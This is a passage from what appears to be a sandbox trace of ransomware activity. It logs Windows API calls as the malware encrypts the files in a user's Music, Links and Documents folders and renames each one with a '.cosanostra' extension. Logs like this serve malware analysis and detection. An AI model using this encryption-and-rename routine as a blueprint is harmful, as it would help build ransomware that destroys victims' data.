hFile=0x138, lpBuffer=0x251f3fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f3bc, lpOverlapped=0x0 | out: lpBuffer=0x251f3fc*, lpNumberOfBytesWritten=0x251f3bc*=0x4, lpOverlapped=0x0) returned 1 [0097.750] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f3bc, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f3bc*=0x30, lpOverlapped=0x0) returned 1 [0097.750] CloseHandle (hObject=0x138) returned 1 [0097.750] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\bqO20G9ShnsB.mp3.cosanostra") returned 85 [0097.751] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\bqO20G9ShnsB.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z2slz-cavoga6c1q3\\bqo20g9shnsb.mp3"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\bqO20G9ShnsB.mp3.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z2slz-cavoga6c1q3\\bqo20g9shnsb.mp3.cosanostra")) returned 1 [0097.751] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f3f8 | out: pbBuffer=0x251f3f8) returned 1 [0097.752] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f3f0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f3f0*=0x30) returned 1 [0097.752] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\VYnP8hy1SZbnsYj.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\vynp8hy1szbnsyj.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.754] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\VYnP8hy1SZbnsYj.wav") returned 59 [0097.754] StrStrW (lpFirst="VYnP8hy1SZbnsYj.wav", lpSrch=".txt") returned 0x0 [0097.756] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.756] WriteFile (in: hFile=0x138, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f3b4, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x251f3b4*=0x2800, lpOverlapped=0x0) returned 1 [0097.756] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.756] WriteFile (in: hFile=0x138, lpBuffer=0x251f3f4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f3b4, lpOverlapped=0x0 | out: lpBuffer=0x251f3f4*, lpNumberOfBytesWritten=0x251f3b4*=0x4, lpOverlapped=0x0) returned 1 [0097.756] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f3b4, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f3b4*=0x30, lpOverlapped=0x0) returned 1 [0097.756] CloseHandle (hObject=0x138) returned 1 [0097.757] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\VYnP8hy1SZbnsYj.wav.cosanostra") returned 70 [0097.757] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\VYnP8hy1SZbnsYj.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\vynp8hy1szbnsyj.wav"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\VYnP8hy1SZbnsYj.wav.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\vynp8hy1szbnsyj.wav.cosanostra")) returned 1 [0097.757] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f3f8 | out: pbBuffer=0x251f3f8) returned 1 [0097.758] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f3f0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f3f0*=0x30) returned 1 [0097.758] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\phPK8M2kEf0IB8z3.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\phpk8m2kef0ib8z3.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.758] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\phPK8M2kEf0IB8z3.m4a") returned 60 [0097.758] StrStrW (lpFirst="phPK8M2kEf0IB8z3.m4a", lpSrch=".txt") returned 0x0 [0097.760] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.760] WriteFile (in: hFile=0x138, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f3b4, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x251f3b4*=0x2800, lpOverlapped=0x0) returned 1 [0097.760] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.761] WriteFile (in: hFile=0x138, lpBuffer=0x251f3f4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f3b4, lpOverlapped=0x0 | out: lpBuffer=0x251f3f4*, lpNumberOfBytesWritten=0x251f3b4*=0x4, lpOverlapped=0x0) returned 1 [0097.761] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f3b4, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f3b4*=0x30, lpOverlapped=0x0) returned 1 [0097.761] CloseHandle (hObject=0x138) returned 1 [0097.761] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\phPK8M2kEf0IB8z3.m4a.cosanostra") returned 71 [0097.761] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\phPK8M2kEf0IB8z3.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\phpk8m2kef0ib8z3.m4a"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\phPK8M2kEf0IB8z3.m4a.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\phpk8m2kef0ib8z3.m4a.cosanostra")) returned 1 [0097.762] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f3f0 | out: pbBuffer=0x251f3f0) returned 1 [0097.762] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f3e8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f3e8*=0x30) returned 1 [0097.762] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\oJm8MGf025ayY.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ojm8mgf025ayy.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.762] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\oJm8MGf025ayY.wav") returned 57 [0097.763] StrStrW (lpFirst="oJm8MGf025ayY.wav", lpSrch=".txt") returned 0x0 [0097.763] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.763] WriteFile (in: hFile=0x138, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f3ac, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x251f3ac*=0x2800, lpOverlapped=0x0) returned 1 [0097.764] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.764] WriteFile (in: hFile=0x138, lpBuffer=0x251f3ec*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f3ac, lpOverlapped=0x0 | out: lpBuffer=0x251f3ec*, lpNumberOfBytesWritten=0x251f3ac*=0x4, lpOverlapped=0x0) returned 1 [0097.764] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f3ac, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f3ac*=0x30, lpOverlapped=0x0) returned 1 [0097.764] CloseHandle (hObject=0x138) returned 1 [0097.764] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\oJm8MGf025ayY.wav.cosanostra") returned 68 [0097.764] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\oJm8MGf025ayY.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ojm8mgf025ayy.wav"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\oJm8MGf025ayY.wav.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ojm8mgf025ayy.wav.cosanostra")) returned 1 [0097.772] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f3e8 | out: pbBuffer=0x251f3e8) returned 1 [0097.772] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f3e0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f3e0*=0x30) returned 1 [0097.772] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\IT7trN_f6_HiGiMHGs\\jvj j.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\it7trn_f6_higimhgs\\jvj j.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0097.773] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\IT7trN_f6_HiGiMHGs\\jvj j.mp3") returned 68 [0097.773] StrStrW (lpFirst="jvj j.mp3", lpSrch=".txt") returned 0x0 [0097.774] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.774] WriteFile (in: hFile=0x160, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f3a4, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x251f3a4*=0x2800, lpOverlapped=0x0) returned 1 [0097.774] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.774] WriteFile (in: hFile=0x160, lpBuffer=0x251f3e4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f3a4, lpOverlapped=0x0 | out: lpBuffer=0x251f3e4*, lpNumberOfBytesWritten=0x251f3a4*=0x4, lpOverlapped=0x0) returned 1 [0097.774] WriteFile (in: hFile=0x160, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f3a4, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f3a4*=0x30, lpOverlapped=0x0) returned 1 [0097.774] CloseHandle (hObject=0x160) returned 1 [0097.775] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\IT7trN_f6_HiGiMHGs\\jvj j.mp3.cosanostra") returned 79 [0097.775] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\IT7trN_f6_HiGiMHGs\\jvj j.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\it7trn_f6_higimhgs\\jvj j.mp3"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\IT7trN_f6_HiGiMHGs\\jvj j.mp3.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\it7trn_f6_higimhgs\\jvj j.mp3.cosanostra")) returned 1 [0097.776] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f3e8 | out: pbBuffer=0x251f3e8) returned 1 [0097.776] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f3e0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f3e0*=0x30) returned 1 [0097.776] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\IT7trN_f6_HiGiMHGs\\J0QIv4.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\it7trn_f6_higimhgs\\j0qiv4.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0097.777] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\IT7trN_f6_HiGiMHGs\\J0QIv4.wav") returned 69 [0097.777] StrStrW (lpFirst="J0QIv4.wav", lpSrch=".txt") returned 0x0 [0097.777] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.777] WriteFile (in: hFile=0x160, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f3a4, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x251f3a4*=0x2800, lpOverlapped=0x0) returned 1 [0097.778] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.778] WriteFile (in: hFile=0x160, lpBuffer=0x251f3e4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f3a4, lpOverlapped=0x0 | out: lpBuffer=0x251f3e4*, lpNumberOfBytesWritten=0x251f3a4*=0x4, lpOverlapped=0x0) returned 1 [0097.778] WriteFile (in: hFile=0x160, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f3a4, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f3a4*=0x30, lpOverlapped=0x0) returned 1 [0097.778] CloseHandle (hObject=0x160) returned 1 [0097.778] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\IT7trN_f6_HiGiMHGs\\J0QIv4.wav.cosanostra") returned 80 [0097.778] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\IT7trN_f6_HiGiMHGs\\J0QIv4.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\it7trn_f6_higimhgs\\j0qiv4.wav"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\IT7trN_f6_HiGiMHGs\\J0QIv4.wav.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\it7trn_f6_higimhgs\\j0qiv4.wav.cosanostra")) returned 1 [0097.779] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f3e0 | out: pbBuffer=0x251f3e0) returned 1 [0097.779] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f3d8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f3d8*=0x30) returned 1 [0097.779] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0097.780] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini") returned 51 [0097.780] StrStrW (lpFirst="desktop.ini", lpSrch=".txt") returned 0x0 [0097.780] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xfffffe08, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.781] WriteFile (in: hFile=0x160, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x1f8, lpNumberOfBytesWritten=0x251f39c, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x251f39c*=0x1f8, lpOverlapped=0x0) returned 1 [0097.781] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.781] WriteFile (in: hFile=0x160, lpBuffer=0x251f3dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f39c, lpOverlapped=0x0 | out: lpBuffer=0x251f3dc*, lpNumberOfBytesWritten=0x251f39c*=0x4, lpOverlapped=0x0) returned 1 [0097.781] WriteFile (in: hFile=0x160, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f39c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f39c*=0x30, lpOverlapped=0x0) returned 1 [0097.781] CloseHandle (hObject=0x160) returned 1 [0097.781] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini.cosanostra") returned 62 [0097.781] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\desktop.ini"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\desktop.ini.cosanostra")) returned 1 [0097.782] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f3e0 | out: pbBuffer=0x251f3e0) returned 1 [0097.782] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f3d8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f3d8*=0x30) returned 1 [0097.782] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\b8oSnXcLv0f.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\b8osnxclv0f.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0097.782] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\b8oSnXcLv0f.mp3") returned 55 [0097.782] StrStrW (lpFirst="b8oSnXcLv0f.mp3", lpSrch=".txt") returned 0x0 [0097.783] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.783] WriteFile (in: hFile=0x160, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f39c, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x251f39c*=0x2800, lpOverlapped=0x0) returned 1 [0097.783] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.783] WriteFile (in: hFile=0x160, lpBuffer=0x251f3dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f39c, lpOverlapped=0x0 | out: lpBuffer=0x251f3dc*, lpNumberOfBytesWritten=0x251f39c*=0x4, lpOverlapped=0x0) returned 1 [0097.792] WriteFile (in: hFile=0x160, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f39c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f39c*=0x30, lpOverlapped=0x0) returned 1 [0097.792] CloseHandle (hObject=0x160) returned 1 [0097.792] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\b8oSnXcLv0f.mp3.cosanostra") returned 66 [0097.792] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\b8oSnXcLv0f.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\b8osnxclv0f.mp3"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\b8oSnXcLv0f.mp3.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\b8osnxclv0f.mp3.cosanostra")) returned 1 [0097.793] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f3d8 | out: pbBuffer=0x251f3d8) returned 1 [0097.793] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f3d0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f3d0*=0x30) returned 1 [0097.793] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\links\\downloads.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0097.933] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk") returned 53 [0097.933] StrStrW (lpFirst="Downloads.lnk", lpSrch=".txt") returned 0x0 [0097.952] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffc5f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.952] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x3a1, lpNumberOfBytesWritten=0x251f394, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x251f394*=0x3a1, lpOverlapped=0x0) returned 1 [0097.952] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.952] WriteFile (in: hFile=0x180, lpBuffer=0x251f3d4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f394, lpOverlapped=0x0 | out: lpBuffer=0x251f3d4*, lpNumberOfBytesWritten=0x251f394*=0x4, lpOverlapped=0x0) returned 1 [0097.952] WriteFile (in: hFile=0x180, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f394, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f394*=0x30, lpOverlapped=0x0) returned 1 [0097.952] CloseHandle (hObject=0x180) returned 1 [0097.952] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk.cosanostra") returned 64 [0097.952] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\links\\downloads.lnk"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\links\\downloads.lnk.cosanostra")) returned 1 [0097.953] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f3d8 | out: pbBuffer=0x251f3d8) returned 1 [0097.953] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f3d0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f3d0*=0x30) returned 1 [0097.953] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\.." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0097.953] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f3d0 | out: pbBuffer=0x251f3d0) returned 1 [0097.953] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f3c8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f3c8*=0x30) returned 1 [0097.953] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\_private\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0097.953] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f3d0 | out: pbBuffer=0x251f3d0) returned 1 [0097.954] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f3c8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f3c8*=0x30) returned 1 [0097.954] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\favorites.vss"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0097.954] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss") returned 67 [0097.954] StrStrW 